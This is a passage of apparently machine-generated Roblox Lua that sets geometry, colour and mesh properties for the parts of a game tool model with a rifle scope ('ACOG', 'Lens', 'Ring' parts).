  2846. SpecialMesh270.Scale = Vector3.new(1.0909096, 0.263636351, 0.0454545207)
  2847. Part271.Parent = Tool0
  2848. Part271.Material = Enum.Material.SmoothPlastic
  2849. Part271.BrickColor = BrickColor.new("Really black")
  2850. Part271.Reflectance = 0.20000000298023
  2851. Part271.Rotation = Vector3.new(-90, 0, -180)
  2852. Part271.Anchored = true
  2853. Part271.FormFactor = Enum.FormFactor.Symmetric
  2854. Part271.Size = Vector3.new(1, 1, 1)
  2855. Part271.CFrame = CFrame.new(6.36203718, 1.16115797, -94.7063293, -1, 3.82136924e-15, -4.37113954e-08, -4.37113918e-08, -4.37113705e-08, 1, -4.37113954e-08, 1, -2.13162821e-14)
  2856. Part271.BottomSurface = Enum.SurfaceType.Smooth
  2857. Part271.TopSurface = Enum.SurfaceType.Smooth
  2858. Part271.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2859. Part271.Position = Vector3.new(6.36203718, 1.16115797, -94.7063293)
  2860. Part271.Orientation = Vector3.new(-90, -180, 0)
  2861. Part271.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2862. SpecialMesh272.Parent = Part271
  2863. SpecialMesh272.Scale = Vector3.new(0.227272719, 0.454545468, 0.0636362955)
  2864. SpecialMesh272.MeshType = Enum.MeshType.Wedge
  2865. SpecialMesh272.Scale = Vector3.new(0.227272719, 0.454545468, 0.0636362955)
  2866. Part273.Parent = Tool0
  2867. Part273.Material = Enum.Material.SmoothPlastic
  2868. Part273.BrickColor = BrickColor.new("Really black")
  2869. Part273.Reflectance = 0.20000000298023
  2870. Part273.Rotation = Vector3.new(-90, 0, -90)
  2871. Part273.Anchored = true
  2872. Part273.FormFactor = Enum.FormFactor.Symmetric
  2873. Part273.Size = Vector3.new(1, 1, 1)
  2874. Part273.CFrame = CFrame.new(6.41203594, 1.15661395, -95.1881638, 0, 1, 0, 0, 0, 1, 1, 0, 4.37113883e-08)
  2875. Part273.BottomSurface = Enum.SurfaceType.Smooth
  2876. Part273.TopSurface = Enum.SurfaceType.Smooth
  2877. Part273.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2878. Part273.Position = Vector3.new(6.41203594, 1.15661395, -95.1881638)
  2879. Part273.Orientation = Vector3.new(-90, -90, 0)
  2880. Part273.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2881. CylinderMesh274.Parent = Part273
  2882. CylinderMesh274.Scale = Vector3.new(0.0363636091, 0.0363636315, 0.0363636352)
  2883. CylinderMesh274.Scale = Vector3.new(0.0363636091, 0.0363636315, 0.0363636352)
  2884. Part275.Parent = Tool0
  2885. Part275.Material = Enum.Material.SmoothPlastic
  2886. Part275.BrickColor = BrickColor.new("Really black")
  2887. Part275.Reflectance = 0.10000000149012
  2888. Part275.Rotation = Vector3.new(0, 0, -157.5)
  2889. Part275.Anchored = true
  2890. Part275.FormFactor = Enum.FormFactor.Symmetric
  2891. Part275.Size = Vector3.new(1, 1, 1)
  2892. Part275.CFrame = CFrame.new(6.41087198, 1.92083299, -94.7099762, -0.923879266, 0.382683426, -2.13986424e-12, -0.382683426, -0.923879266, -4.37140422e-08, -1.67305654e-08, -4.03856966e-08, 1)
  2893. Part275.BottomSurface = Enum.SurfaceType.Smooth
  2894. Part275.TopSurface = Enum.SurfaceType.Smooth
  2895. Part275.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2896. Part275.Position = Vector3.new(6.41087198, 1.92083299, -94.7099762)
  2897. Part275.Orientation = Vector3.new(0, 0, -157.5)
  2898. Part275.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2899. BlockMesh276.Parent = Part275
  2900. BlockMesh276.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.136363611)
  2901. BlockMesh276.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.136363611)
  2902. Part277.Parent = Tool0
  2903. Part277.Material = Enum.Material.SmoothPlastic
  2904. Part277.BrickColor = BrickColor.new("Really black")
  2905. Part277.Reflectance = 0.20000000298023
  2906. Part277.Rotation = Vector3.new(-180, 0, -180)
  2907. Part277.Anchored = true
  2908. Part277.FormFactor = Enum.FormFactor.Symmetric
  2909. Part277.Size = Vector3.new(1, 1, 1)
  2910. Part277.CFrame = CFrame.new(6.36203384, 1.15661395, -95.08815, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  2911. Part277.BottomSurface = Enum.SurfaceType.Smooth
  2912. Part277.TopSurface = Enum.SurfaceType.Smooth
  2913. Part277.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2914. Part277.Position = Vector3.new(6.36203384, 1.15661395, -95.08815)
  2915. Part277.Orientation = Vector3.new(0, 180, 0)
  2916. Part277.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2917. BlockMesh278.Parent = Part277
  2918. BlockMesh278.Scale = Vector3.new(0.06363637, 0.0363636352, 0.236363634)
  2919. BlockMesh278.Scale = Vector3.new(0.06363637, 0.0363636352, 0.236363634)
  2920. Part279.Parent = Tool0
  2921. Part279.Material = Enum.Material.SmoothPlastic
  2922. Part279.BrickColor = BrickColor.new("Really black")
  2923. Part279.Reflectance = 0.10000000149012
  2924. Part279.Rotation = Vector3.new(0, 0, 45)
  2925. Part279.Anchored = true
  2926. Part279.FormFactor = Enum.FormFactor.Symmetric
  2927. Part279.Size = Vector3.new(1, 1, 1)
  2928. Part279.CFrame = CFrame.new(6.27631378, 2.12216091, -94.6417847, 0.70710659, -0.707107008, -4.50380835e-14, 0.707107008, 0.70710659, -4.37116121e-08, 3.09088186e-08, 3.09087405e-08, 1)
  2929. Part279.BottomSurface = Enum.SurfaceType.Smooth
  2930. Part279.TopSurface = Enum.SurfaceType.Smooth
  2931. Part279.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2932. Part279.Position = Vector3.new(6.27631378, 2.12216091, -94.6417847)
  2933. Part279.Orientation = Vector3.new(0, 0, 45)
  2934. Part279.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2935. BlockMesh280.Parent = Part279
  2936. BlockMesh280.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.272727162)
  2937. BlockMesh280.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.272727162)
  2938. Part281.Parent = Tool0
  2939. Part281.Material = Enum.Material.SmoothPlastic
  2940. Part281.BrickColor = BrickColor.new("Really black")
  2941. Part281.Reflectance = 0.20000000298023
  2942. Part281.Rotation = Vector3.new(-90, 0, 0)
  2943. Part281.Anchored = true
  2944. Part281.FormFactor = Enum.FormFactor.Symmetric
  2945. Part281.Size = Vector3.new(1, 1, 1)
  2946. Part281.CFrame = CFrame.new(6.36203384, 1.42492497, -95.4290543, 1, -8.74227908e-08, 4.37113776e-08, -4.37113954e-08, -1.31134172e-07, 1, -4.37113954e-08, -1, -1.74845539e-07)
  2947. Part281.BottomSurface = Enum.SurfaceType.Smooth
  2948. Part281.TopSurface = Enum.SurfaceType.Smooth
  2949. Part281.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2950. Part281.Position = Vector3.new(6.36203384, 1.42492497, -95.4290543)
  2951. Part281.Orientation = Vector3.new(-90, 0, 0)
  2952. Part281.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2953. SpecialMesh282.Parent = Part281
  2954. SpecialMesh282.Scale = Vector3.new(0.172727302, 0.109090917, 0.11818181)
  2955. SpecialMesh282.MeshType = Enum.MeshType.Wedge
  2956. SpecialMesh282.Scale = Vector3.new(0.172727302, 0.109090917, 0.11818181)
  2957. Part283.Parent = Tool0
  2958. Part283.Material = Enum.Material.SmoothPlastic
  2959. Part283.BrickColor = BrickColor.new("Really black")
  2960. Part283.Reflectance = 0.20000000298023
  2961. Part283.Rotation = Vector3.new(-180, 0, -180)
  2962. Part283.Anchored = true
  2963. Part283.FormFactor = Enum.FormFactor.Symmetric
  2964. Part283.Size = Vector3.new(1, 1, 1)
  2965. Part283.CFrame = CFrame.new(6.36203384, 1.43856502, -94.7472229, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  2966. Part283.BottomSurface = Enum.SurfaceType.Smooth
  2967. Part283.TopSurface = Enum.SurfaceType.Smooth
  2968. Part283.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2969. Part283.Position = Vector3.new(6.36203384, 1.43856502, -94.7472229)
  2970. Part283.Orientation = Vector3.new(0, 180, 0)
  2971. Part283.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2972. BlockMesh284.Parent = Part283
  2973. BlockMesh284.Scale = Vector3.new(0.227272674, 0.200000003, 0.536363363)
  2974. BlockMesh284.Scale = Vector3.new(0.227272674, 0.200000003, 0.536363363)
  2975. Part285.Parent = Tool0
  2976. Part285.Material = Enum.Material.SmoothPlastic
  2977. Part285.BrickColor = BrickColor.new("Really black")
  2978. Part285.Reflectance = 0.20000000298023
  2979. Part285.Rotation = Vector3.new(-90, 0, 0)
  2980. Part285.Anchored = true
  2981. Part285.FormFactor = Enum.FormFactor.Symmetric
  2982. Part285.Size = Vector3.new(1, 1, 1)
  2983. Part285.CFrame = CFrame.new(6.36203384, 1.64314198, -94.9790649, 0.999999404, 0, 0, 0, 0, 0.999998987, 0, -0.999999464, 4.37113457e-08)
  2984. Part285.BottomSurface = Enum.SurfaceType.Smooth
  2985. Part285.TopSurface = Enum.SurfaceType.Smooth
  2986. Part285.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2987. Part285.Position = Vector3.new(6.36203384, 1.64314198, -94.9790649)
  2988. Part285.Orientation = Vector3.new(-89.9199982, 0, 0)
  2989. Part285.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2990. CylinderMesh286.Parent = Part285
  2991. CylinderMesh286.Scale = Vector3.new(0.172727302, 1.09090924, 0.172727302)
  2992. CylinderMesh286.Scale = Vector3.new(0.172727302, 1.09090924, 0.172727302)
  2993. Part287.Parent = Tool0
  2994. Part287.Material = Enum.Material.SmoothPlastic
  2995. Part287.BrickColor = BrickColor.new("Really black")
  2996. Part287.Reflectance = 0.10000000149012
  2997. Part287.Rotation = Vector3.new(-72, 0, 0)
  2998. Part287.Anchored = true
  2999. Part287.FormFactor = Enum.FormFactor.Symmetric
  3000. Part287.Size = Vector3.new(1, 1, 1)
  3001. Part287.CFrame = CFrame.new(6.36657619, 0.846713006, -95.405098, 1, 0, 8.74227126e-08, -8.31439664e-08, 0.309016645, 0.9510566, 1.6696319e-08, -0.9510566, 0.309016615)
  3002. Part287.BottomSurface = Enum.SurfaceType.Smooth
  3003. Part287.TopSurface = Enum.SurfaceType.Smooth
  3004. Part287.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3005. Part287.Position = Vector3.new(6.36657619, 0.846713006, -95.405098)
  3006. Part287.Orientation = Vector3.new(-72, 0, 0)
  3007. Part287.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3008. SpecialMesh288.Parent = Part287
  3009. SpecialMesh288.Scale = Vector3.new(0.181818232, 0.154545471, 0.027272705)
  3010. SpecialMesh288.MeshType = Enum.MeshType.Wedge
  3011. SpecialMesh288.Scale = Vector3.new(0.181818232, 0.154545471, 0.027272705)
  3012. Part289.Parent = Tool0
  3013. Part289.Material = Enum.Material.SmoothPlastic
  3014. Part289.BrickColor = BrickColor.new("Really black")
  3015. Part289.Reflectance = 0.20000000298023
  3016. Part289.Rotation = Vector3.new(-180, 0, -180)
  3017. Part289.Anchored = true
  3018. Part289.FormFactor = Enum.FormFactor.Symmetric
  3019. Part289.Size = Vector3.new(1, 1, 1)
  3020. Part289.CFrame = CFrame.new(6.36203384, 1.51128995, -95.4404221, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  3021. Part289.BottomSurface = Enum.SurfaceType.Smooth
  3022. Part289.TopSurface = Enum.SurfaceType.Smooth
  3023. Part289.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3024. Part289.Position = Vector3.new(6.36203384, 1.51128995, -95.4404221)
  3025. Part289.Orientation = Vector3.new(0, 180, 0)
  3026. Part289.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3027. BlockMesh290.Parent = Part289
  3028. BlockMesh290.Scale = Vector3.new(0.172727272, 0.0545454472, 0.168182686)
  3029. BlockMesh290.Scale = Vector3.new(0.172727272, 0.0545454472, 0.168182686)
  3030. Part291.Parent = Tool0
  3031. Part291.Material = Enum.Material.SmoothPlastic
  3032. Part291.BrickColor = BrickColor.new("Really black")
  3033. Part291.Reflectance = 0.10000000149012
  3034. Part291.Rotation = Vector3.new(27, 0, 0)
  3035. Part291.Anchored = true
  3036. Part291.FormFactor = Enum.FormFactor.Symmetric
  3037. Part291.Size = Vector3.new(1, 1, 1)
  3038. Part291.CFrame = CFrame.new(6.36658001, 1.03885901, -95.3922653, 1, 0, 0, 0, 0.891006529, -0.453990519, 0, 0.453990519, 0.891006529)
  3039. Part291.BottomSurface = Enum.SurfaceType.Smooth
  3040. Part291.TopSurface = Enum.SurfaceType.Smooth
  3041. Part291.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3042. Part291.Position = Vector3.new(6.36658001, 1.03885901, -95.3922653)
  3043. Part291.Orientation = Vector3.new(27, 0, 0)
  3044. Part291.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3045. BlockMesh292.Parent = Part291
  3046. BlockMesh292.Scale = Vector3.new(0.181818187, 0.354545504, 0.145454556)
  3047. BlockMesh292.Scale = Vector3.new(0.181818187, 0.354545504, 0.145454556)
  3048. Part293.Parent = Tool0
  3049. Part293.Material = Enum.Material.SmoothPlastic
  3050. Part293.BrickColor = BrickColor.new("Really black")
  3051. Part293.Reflectance = 0.10000000149012
  3052. Part293.Rotation = Vector3.new(18, 0, 0)
  3053. Part293.Anchored = true
  3054. Part293.FormFactor = Enum.FormFactor.Symmetric
  3055. Part293.Size = Vector3.new(1, 1, 1)
  3056. Part293.CFrame = CFrame.new(6.36658001, 1.00959301, -95.3473892, 1, 0, 0, 0, 0.9510566, -0.309016734, 0, 0.309016734, 0.9510566)
  3057. Part293.BottomSurface = Enum.SurfaceType.Smooth
  3058. Part293.TopSurface = Enum.SurfaceType.Smooth
  3059. Part293.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3060. Part293.Position = Vector3.new(6.36658001, 1.00959301, -95.3473892)
  3061. Part293.Orientation = Vector3.new(18, 0, 0)
  3062. Part293.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3063. BlockMesh294.Parent = Part293
  3064. BlockMesh294.Scale = Vector3.new(0.181818187, 0.318181753, 0.145454556)
  3065. BlockMesh294.Scale = Vector3.new(0.181818187, 0.318181753, 0.145454556)
  3066. Part295.Parent = Tool0
  3067. Part295.Material = Enum.Material.SmoothPlastic
  3068. Part295.BrickColor = BrickColor.new("Really black")
  3069. Part295.Rotation = Vector3.new(90, 0, -90)
  3070. Part295.Anchored = true
  3071. Part295.FormFactor = Enum.FormFactor.Symmetric
  3072. Part295.Size = Vector3.new(1, 1, 1)
  3073. Part295.CFrame = CFrame.new(6.40908384, 2.038697, -95.1031647, 0, 1, 0, 0, 0, -1, -1, -4.37113883e-08, 0)
  3074. Part295.BottomSurface = Enum.SurfaceType.Smooth
  3075. Part295.TopSurface = Enum.SurfaceType.Smooth
  3076. Part295.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3077. Part295.Position = Vector3.new(6.40908384, 2.038697, -95.1031647)
  3078. Part295.Orientation = Vector3.new(90, 90, 0)
  3079. Part295.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3080. BlockMesh296.Parent = Part295
  3081. BlockMesh296.Scale = Vector3.new(0.00454545487, 0.0727272704, 0.00454545487)
  3082. BlockMesh296.Scale = Vector3.new(0.00454545487, 0.0727272704, 0.00454545487)
  3083. Part297.Name = "ACOGCenter"
  3084. Part297.Parent = Tool0
  3085. Part297.Material = Enum.Material.SmoothPlastic
  3086. Part297.BrickColor = BrickColor.new("Really red")
  3087. Part297.Rotation = Vector3.new(-180, -90, 0)
  3088. Part297.Anchored = true
  3089. Part297.FormFactor = Enum.FormFactor.Symmetric
  3090. Part297.Size = Vector3.new(1, 1, 1)
  3091. Part297.CFrame = CFrame.new(6.36362791, 2.02506208, -95.1031647, 0, 0, -1, 0, -1, 0, -1, 0, 4.37113883e-08)
  3092. Part297.BottomSurface = Enum.SurfaceType.Smooth
  3093. Part297.TopSurface = Enum.SurfaceType.Smooth
  3094. Part297.Color = Color3.new(1, 0, 0)
  3095. Part297.Position = Vector3.new(6.36362791, 2.02506208, -95.1031647)
  3096. Part297.Orientation = Vector3.new(0, -90, 180)
  3097. Part297.Color = Color3.new(1, 0, 0)
  3098. BlockMesh298.Parent = Part297
  3099. BlockMesh298.Scale = Vector3.new(0.00300000003, 0.064000003, 0.00100000005)
  3100. BlockMesh298.Scale = Vector3.new(0.00300000003, 0.064000003, 0.00100000005)
  3101. Part299.Parent = Tool0
  3102. Part299.Material = Enum.Material.SmoothPlastic
  3103. Part299.BrickColor = BrickColor.new("Bright red")
  3104. Part299.Reflectance = 0.10000000149012
  3105. Part299.Rotation = Vector3.new(180, 0, 180)
  3106. Part299.Anchored = true
  3107. Part299.FormFactor = Enum.FormFactor.Symmetric
  3108. Part299.Size = Vector3.new(1, 1, 1)
  3109. Part299.CFrame = CFrame.new(6.36362791, 2.17627811, -94.9986115, -0.999999523, -2.68220646e-07, -4.3711637e-08, -2.68220788e-07, 0.999999046, -1.29958251e-12, 4.37116263e-08, -1.28963376e-12, -0.999999523)
  3110. Part299.BottomSurface = Enum.SurfaceType.Smooth
  3111. Part299.TopSurface = Enum.SurfaceType.Smooth
  3112. Part299.Color = Color3.new(0.768628, 0.156863, 0.109804)
  3113. Part299.Position = Vector3.new(6.36362791, 2.17627811, -94.9986115)
  3114. Part299.Orientation = Vector3.new(0, -180, 0)
  3115. Part299.Color = Color3.new(0.768628, 0.156863, 0.109804)
  3116. CylinderMesh300.Parent = Part299
  3117. CylinderMesh300.Scale = Vector3.new(0.181818202, 0.00909090973, 0.127272755)
  3118. CylinderMesh300.Scale = Vector3.new(0.181818202, 0.00909090973, 0.127272755)
  3119. Part301.Parent = Tool0
  3120. Part301.Material = Enum.Material.SmoothPlastic
  3121. Part301.BrickColor = BrickColor.new("Really black")
  3122. Part301.Reflectance = 0.10000000149012
  3123. Part301.Rotation = Vector3.new(-180, 0, 90)
  3124. Part301.Anchored = true
  3125. Part301.FormFactor = Enum.FormFactor.Symmetric
  3126. Part301.Size = Vector3.new(1, 1, 1)
  3127. Part301.CFrame = CFrame.new(6.48758984, 2.0382731, -94.9986115, 0, -1, -4.37113883e-08, -1, 0, 0, 0, 4.37113883e-08, -1)
  3128. Part301.BottomSurface = Enum.SurfaceType.Smooth
  3129. Part301.TopSurface = Enum.SurfaceType.Smooth
  3130. Part301.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3131. Part301.Position = Vector3.new(6.48758984, 2.0382731, -94.9986115)
  3132. Part301.Orientation = Vector3.new(0, -180, -90)
  3133. Part301.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3134. CylinderMesh302.Parent = Part301
  3135. CylinderMesh302.Scale = Vector3.new(0.100000001, 0.0545454472, 0.109090917)
  3136. CylinderMesh302.Scale = Vector3.new(0.100000001, 0.0545454472, 0.109090917)
  3137. Part303.Parent = Tool0
  3138. Part303.Material = Enum.Material.SmoothPlastic
  3139. Part303.BrickColor = BrickColor.new("Really black")
  3140. Part303.Reflectance = 0.10000000149012
  3141. Part303.Anchored = true
  3142. Part303.FormFactor = Enum.FormFactor.Symmetric
  3143. Part303.Size = Vector3.new(1, 1, 1)
  3144. Part303.CFrame = CFrame.new(6.35908413, 2.1535151, -95.1531525, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  3145. Part303.BottomSurface = Enum.SurfaceType.Smooth
  3146. Part303.TopSurface = Enum.SurfaceType.Smooth
  3147. Part303.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3148. Part303.Position = Vector3.new(6.35908413, 2.1535151, -95.1531525)
  3149. Part303.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3150. BlockMesh304.Parent = Part303
  3151. BlockMesh304.Scale = Vector3.new(0.154545456, 0.0363636315, 0.0545454472)
  3152. BlockMesh304.Scale = Vector3.new(0.154545456, 0.0363636315, 0.0545454472)
  3153. Part305.Name = "Ring"
  3154. Part305.Parent = Tool0
  3155. Part305.Material = Enum.Material.SmoothPlastic
  3156. Part305.BrickColor = BrickColor.new("Really black")
  3157. Part305.Reflectance = 0.10000000149012
  3158. Part305.Anchored = true
  3159. Part305.FormFactor = Enum.FormFactor.Symmetric
  3160. Part305.Size = Vector3.new(1, 1, 1)
  3161. Part305.CFrame = CFrame.new(6.36362314, 2.03558493, -95.3281403, 1, -2.68220901e-07, 8.69479067e-09, 2.68220901e-07, 1, -4.37116263e-08, -8.69478001e-09, 4.37116263e-08, 1)
  3162. Part305.BottomSurface = Enum.SurfaceType.Smooth
  3163. Part305.TopSurface = Enum.SurfaceType.Smooth
  3164. Part305.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3165. Part305.Position = Vector3.new(6.36362314, 2.03558493, -95.3281403)
  3166. Part305.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3167. SpecialMesh306.Parent = Part305
  3168. SpecialMesh306.MeshId = "http://www.roblox.com/asset/?id=3270017"
  3169. SpecialMesh306.Scale = Vector3.new(0.227272734, 0.227272734, 0.227272734)
  3170. SpecialMesh306.MeshType = Enum.MeshType.FileMesh
  3171. SpecialMesh306.Scale = Vector3.new(0.227272734, 0.227272734, 0.227272734)
  3172. Part307.Parent = Tool0
  3173. Part307.Material = Enum.Material.SmoothPlastic
  3174. Part307.BrickColor = BrickColor.new("Really black")
  3175. Part307.Reflectance = 0.10000000149012
  3176. Part307.Anchored = true
  3177. Part307.FormFactor = Enum.FormFactor.Symmetric
  3178. Part307.Size = Vector3.new(1, 1, 1)
  3179. Part307.CFrame = CFrame.new(6.35908413, 1.91730595, -95.1531525, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  3180. Part307.BottomSurface = Enum.SurfaceType.Smooth
  3181. Part307.TopSurface = Enum.SurfaceType.Smooth
  3182. Part307.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3183. Part307.Position = Vector3.new(6.35908413, 1.91730595, -95.1531525)
  3184. Part307.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3185. BlockMesh308.Parent = Part307
  3186. BlockMesh308.Scale = Vector3.new(0.154545456, 0.0363636315, 0.0545454472)
  3187. BlockMesh308.Scale = Vector3.new(0.154545456, 0.0363636315, 0.0545454472)
  3188. Part309.Name = "Lens"
  3189. Part309.Parent = Tool0
  3190. Part309.Material = Enum.Material.SmoothPlastic
  3191. Part309.BrickColor = BrickColor.new("Light blue")
  3192. Part309.Reflectance = 0.10000000149012
  3193. Part309.Transparency = 0.80000001192093
  3194. Part309.Rotation = Vector3.new(90, 0, -180)
  3195. Part309.Anchored = true
  3196. Part309.FormFactor = Enum.FormFactor.Symmetric
  3197. Part309.Size = Vector3.new(1, 1, 1)
  3198. Part309.CFrame = CFrame.new(6.36362791, 2.03415489, -95.3213425, -1, 0, 0, 0, 0, -1, 0, -1, -4.37113883e-08)
  3199. Part309.BottomSurface = Enum.SurfaceType.Smooth
  3200. Part309.TopSurface = Enum.SurfaceType.Smooth
  3201. Part309.Color = Color3.new(0.705882, 0.823529, 0.894118)
  3202. Part309.Position = Vector3.new(6.36362791, 2.03415489, -95.3213425)
  3203. Part309.Orientation = Vector3.new(90, 180, 0)
  3204. Part309.Color = Color3.new(0.705882, 0.823529, 0.894118)
  3205. CylinderMesh310.Parent = Part309
  3206. CylinderMesh310.Scale = Vector3.new(0.26363644, 0.00909090973, 0.227272689)
  3207. CylinderMesh310.Scale = Vector3.new(0.26363644, 0.00909090973, 0.227272689)
  3208. Part311.Parent = Tool0
  3209. Part311.Material = Enum.Material.SmoothPlastic
  3210. Part311.BrickColor = BrickColor.new("Really black")
  3211. Part311.Reflectance = 0.10000000149012
  3212. Part311.Rotation = Vector3.new(-90, 0, -180)
  3213. Part311.Anchored = true
  3214. Part311.FormFactor = Enum.FormFactor.Symmetric
  3215. Part311.Size = Vector3.new(1, 1, 1)
  3216. Part311.CFrame = CFrame.new(6.43635798, 2.14444709, -95.1531525, -1, 0, 0, 0, 0, 1, 0, 1, -4.37113883e-08)
  3217. Part311.BottomSurface = Enum.SurfaceType.Smooth
  3218. Part311.TopSurface = Enum.SurfaceType.Smooth
  3219. Part311.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3220. Part311.Position = Vector3.new(6.43635798, 2.14444709, -95.1531525)
  3221. Part311.Orientation = Vector3.new(-90, -180, 0)
  3222. Part311.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3223. CylinderMesh312.Parent = Part311
  3224. CylinderMesh312.Scale = Vector3.new(0.0545454472, 0.0545454472, 0.0545454472)
  3225. CylinderMesh312.Scale = Vector3.new(0.0545454472, 0.0545454472, 0.0545454472)
  3226. Part313.Parent = Tool0
  3227. Part313.Material = Enum.Material.SmoothPlastic
  3228. Part313.BrickColor = BrickColor.new("Really black")
  3229. Part313.Reflectance = 0.20000000298023
  3230. Part313.Rotation = Vector3.new(180, 0, 180)
  3231. Part313.Anchored = true
  3232. Part313.FormFactor = Enum.FormFactor.Symmetric
  3233. Part313.Size = Vector3.new(1, 1, 1)
  3234. Part313.CFrame = CFrame.new(6.36362791, 2.1535151, -94.9986115, -0.999999523, -2.68220646e-07, -4.3711637e-08, -2.68220788e-07, 0.999999046, -1.29958251e-12, 4.37116263e-08, -1.28963376e-12, -0.999999523)
  3235. Part313.BottomSurface = Enum.SurfaceType.Smooth
  3236. Part313.TopSurface = Enum.SurfaceType.Smooth
  3237. Part313.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3238. Part313.Position = Vector3.new(6.36362791, 2.1535151, -94.9986115)
  3239. Part313.Orientation = Vector3.new(0, -180, 0)
  3240. Part313.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3241. CylinderMesh314.Parent = Part313
  3242. CylinderMesh314.Scale = Vector3.new(0.181818202, 0.0363636315, 0.127272755)
  3243. CylinderMesh314.Scale = Vector3.new(0.181818202, 0.0363636315, 0.127272755)
  3244. Part315.Name = "ACOG"
  3245. Part315.Parent = Tool0
  3246. Part315.Material = Enum.Material.SmoothPlastic
  3247. Part315.BrickColor = BrickColor.new("Really red")
  3248. Part315.Rotation = Vector3.new(90, 0, -90)
  3249. Part315.Anchored = true
  3250. Part315.FormFactor = Enum.FormFactor.Symmetric
  3251. Part315.Size = Vector3.new(1, 1, 1)
  3252. Part315.CFrame = CFrame.new(6.36362791, 2.02960706, -95.1031647, 0, 1, 0, 0, 0, -1, -1, -4.37113883e-08, 0)
  3253. Part315.BottomSurface = Enum.SurfaceType.Smooth
  3254. Part315.TopSurface = Enum.SurfaceType.Smooth
  3255. Part315.Color = Color3.new(1, 0, 0)
  3256. Part315.Position = Vector3.new(6.36362791, 2.02960706, -95.1031647)
  3257. Part315.Orientation = Vector3.new(90, 90, 0)
  3258. Part315.Color = Color3.new(1, 0, 0)
  3259. BlockMesh316.Parent = Part315
  3260. BlockMesh316.Scale = Vector3.new(0.00300000003, 0.00899999961, 0.00100000005)
  3261. BlockMesh316.Scale = Vector3.new(0.00300000003, 0.00899999961, 0.00100000005)
  3262. Part317.Name = "Ring"
  3263. Part317.Parent = Tool0
  3264. Part317.Material = Enum.Material.SmoothPlastic
  3265. Part317.BrickColor = BrickColor.new("Really black")
  3266. Part317.Reflectance = 0.10000000149012
  3267. Part317.Anchored = true
  3268. Part317.FormFactor = Enum.FormFactor.Symmetric
  3269. Part317.Size = Vector3.new(1, 1, 1)
  3270. Part317.CFrame = CFrame.new(6.36362314, 2.03558493, -95.0008698, 1, -2.68220901e-07, 8.69479067e-09, 2.68220901e-07, 1, -4.37116263e-08, -8.69478001e-09, 4.37116263e-08, 1)
  3271. Part317.BottomSurface = Enum.SurfaceType.Smooth
  3272. Part317.TopSurface = Enum.SurfaceType.Smooth
  3273. Part317.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3274. Part317.Position = Vector3.new(6.36362314, 2.03558493, -95.0008698)
  3275. Part317.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3276. SpecialMesh318.Parent = Part317
  3277. SpecialMesh318.MeshId = "http://www.roblox.com/asset/?id=3270017"
  3278. SpecialMesh318.Scale = Vector3.new(0.25, 0.25, 0.909090936)
  3279. SpecialMesh318.MeshType = Enum.MeshType.FileMesh
  3280. SpecialMesh318.Scale = Vector3.new(0.25, 0.25, 0.909090936)
  3281. Part319.Parent = Tool0
  3282. Part319.Material = Enum.Material.SmoothPlastic
  3283. Part319.BrickColor = BrickColor.new("Really black")
  3284. Part319.Rotation = Vector3.new(90, 0, -90)
  3285. Part319.Anchored = true
  3286. Part319.FormFactor = Enum.FormFactor.Symmetric
  3287. Part319.Size = Vector3.new(1, 1, 1)
  3288. Part319.CFrame = CFrame.new(6.31817198, 2.038697, -95.1031647, 0, 1, 0, 0, 0, -1, -1, -4.37113883e-08, 0)
  3289. Part319.BottomSurface = Enum.SurfaceType.Smooth
  3290. Part319.TopSurface = Enum.SurfaceType.Smooth
  3291. Part319.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3292. Part319.Position = Vector3.new(6.31817198, 2.038697, -95.1031647)
  3293. Part319.Orientation = Vector3.new(90, 90, 0)
  3294. Part319.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3295. BlockMesh320.Parent = Part319
  3296. BlockMesh320.Scale = Vector3.new(0.00454545487, 0.0727272704, 0.00454545487)
